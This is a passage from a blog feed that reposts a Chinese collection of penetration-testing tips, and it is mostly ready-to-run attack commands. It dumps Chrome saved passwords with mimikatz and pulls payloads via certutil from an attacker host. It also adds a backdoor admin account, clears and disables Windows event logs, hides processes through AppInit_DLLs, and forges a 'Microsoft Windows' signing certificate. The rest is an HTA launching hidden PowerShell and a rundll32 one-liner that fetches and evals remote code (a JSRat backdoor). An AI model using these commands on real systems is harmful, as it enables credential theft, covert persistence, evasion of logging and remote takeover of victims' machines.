    &lt;span class="md_line"&gt;|7 (0x7) |Performance Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;|8 (0x8) |Maximum|&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_2"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_118" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 63 导出Chrome浏览器保存的密码：&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_119" class="h16"&gt;&lt;span class="span_for_h"&gt;1、在线获取&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法1:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读取数据库文件&lt;code&gt;%LocalAppData%\Google\Chrome\User Data\Default\Login Data&lt;/code&gt;，如果Chrome浏览器正在运行，无法直接读取，需要先复制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在当前系统调用API CryptUnprotectData直接解密&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法2:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mimikatz&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;vault::cred&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/"&gt;《渗透技巧——导出Chrome浏览器中保存的密码》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_120" class="h16"&gt;&lt;span class="span_for_h"&gt;2、离线获取&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Master  Key，不需要获得用户明文密码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;[Details soon]&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_2"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_121" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 65 通过ShadowCopy获得系统的历史文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查询当前系统有无快照：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;vssadmin list shadows&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;访问历史快照中的文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\
dir c:\testvsc&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;[Details soon]&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_122" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 64&lt;/span&gt;&lt;/h3&gt;</summary>

  </entry>


  <entry>


    <title>Pentest-and-Development-Tips</title>

    <link href="https://www.secbig.com/lofter/pentest-and-development-tips"  rel="alternate"></link>

    <updated>2018-02-28T02:31:00Z</updated>
    <id>lofter/pentest-and-development-tips</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;h1 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;Pentest-and-Development-Tips&lt;/span&gt;&lt;/h1&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;A collection of pentest and development tips&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Author： 3gstudent&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;声明&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以下技巧不应用于非法用途&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 1. 手动端口探测&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;nmap的-sV可以探测出服务版本，但有些情况下必须手动探测去验证&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Wireshark获取响应包未免大材小用，可通过nc简单判断&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对于8001端口，nc连接上去，随便输入一个字符串，得到了以下结果：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$ nc -vv localhost 8001  
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
&amp;lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&amp;gt;
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;400 Bad Request&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Bad Request&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;Your browser sent a request that this server could not understand.&amp;lt;br /&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;hr&amp;gt;
&amp;lt;address&amp;gt;Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001&amp;lt;/address&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;由此我们知道了这是一个http服务，因为我们发送的字符串不是一个合法的HTTP请求，因此返回一个400 Bad requests，我们还得到了系统的版本是Debian，WebServer是Apache&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="http://www.freebuf.com/articles/network/146087.html"&gt;《谈谈端口探测的经验与原理》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_3" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 2. Windows系统从Kali下载文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Kali:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;python -m SimpleHTTPServer 80&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84certutil.exe/"&gt;《渗透测试中的certutil.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_4" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 3. 配置工作组计算机,使其支持net use远程连接&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;添加用户：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;net user test test /add
net localgroup administrators test /add&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改注册表，使其支持远程连接：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;net use远程连接：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;net use \\192.168.1.195 test /u:test&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_5" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 4. Windows日志清除&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取日志分类列表：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil el &amp;gt;1.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取单个日志类别的统计信息：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil gli "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;回显：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查看指定日志的具体内容：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil qe /f:text "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;删除单个日志类别的所有信息：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil cl "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/"&gt;《渗透技巧-Windows日志的删除与绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_6" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 5. 破坏Windows日志记录功能&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过调用TerminateThread结束实现日志功能的线程，使得日志记录功能失效，但Windows Event Log服务没有被破坏，状态仍为正在运行&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Powershell:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/hlldz/Invoke-Phant0m&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;C++:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Windwos-EventLog-Bypass&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/"&gt;《渗透技巧-Windows日志的删除与绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8API-NtQueryInformationThread%E5%92%8CI_QueryTagInformation%E5%AE%9E%E7%8E%B0%E5%AF%B9Windwos%E6%97%A5%E5%BF%97%E7%9B%91%E6%8E%A7%E7%9A%84%E7%BB%95%E8%BF%87/"&gt;《利用API-NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_7" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 6. Win7和Windows Server 2008 R2下的进程隐藏&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用globalAPIhooks，通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;下载工程：https://github.com/subTee/AppInitGlobalHooks-Mimikatz&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改代码指定要隐藏的程序名cldr.exe，编译成cldr.dll，cldr.dll放在&lt;code&gt;C:\ProgramData\Microsoft\HelpLibrary\&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;此时，任务管理器进程列表不存在cldr.exe，Process Explorer不存在cldr.exe，Tasklist.exe不存在cldr.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对于64位系统：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldrx64.dll" /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8globalAPIhooks%E5%9C%A8Win7%E7%B3%BB%E7%BB%9F%E4%B8%8B%E9%9A%90%E8%97%8F%E8%BF%9B%E7%A8%8B/"&gt;《利用globalAPIhooks在Win7系统下隐藏进程》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_8" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 7. 同名exe和com文件执行顺序&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果一个路径下同时包含同名的exe和com文件，例如test.exe和test.com，通过命令行cmd输入test(不包含文件后缀名)，会优先运行com文件，即test.com&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;而COM文件的生成只需要把exe文件的后缀名改为com即可&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《A dirty way of tricking users to bypass UAC》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_9" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 8. Windows系统证书生成与注册&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;证书生成与签名：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p 12345678password test.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四个文件，test.exe被加上数字签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;证书注册：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限cmd，将证书添加到localmachine：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;certmgr.exe -add -c Root.cer -s -r localmachine root&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《A dirty way of tricking users to bypass UAC》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_10" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 9.  hta执行vbs，加载powershell&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;test.hta：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&amp;lt;HTML&amp;gt; 
&amp;lt;HEAD&amp;gt; 
&amp;lt;script language="VBScript"&amp;gt;
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true
&amp;lt;/script&amp;gt;
&amp;lt;HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize"&amp;gt;
&amp;lt;/HEAD&amp;gt; 
&amp;lt;BODY&amp;gt; 
&amp;lt;/BODY&amp;gt; 
&amp;lt;/HTML&amp;gt; &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Bypass McAfee Application Control——Code Execution》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_11" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 10. 通过c#编写dll &amp;amp; 通过rundll32.exe或者regsvr32加载dll&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;默认情况下，c#不可以声明导出函数，但可通过添加UnmanagedExports实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，通过c#编写的dll，dll需要在对应版本的.NET环境才能正常运行，通过c++编写的dll更加通用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过rundll32.exe或者regsvr32能够加载dll，但要求dll包含特定的导出函数&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_12" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 11. Windows下cpl文件介绍&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;本质上是DLL文件，后缀名为cpl，包含一个导出函数CPLApplet(c实现可不指定)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行方法：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1)双击直接运行&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2)cmd&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32 shell32.dll,Control_RunDLL test.cpl&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(3)cmd&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;control test.cpl&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(4)vbs&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(5)js&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《CPL文件利用介绍》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_13" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 12. Windows下通过cmd调用rundll32执行一段代码弹回Shell&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Server:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Client:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，该RAT工具还可通过以下方法加载：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;vbs，js，exe，dll，shellcode&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《JavaScript Backdoor》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《JavaScript Phishing》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_14" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 13. 可通过内存dump还原出putty&amp;amp;pageant的密钥&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;windows和Linux均适用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Memory Dump利用实例》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
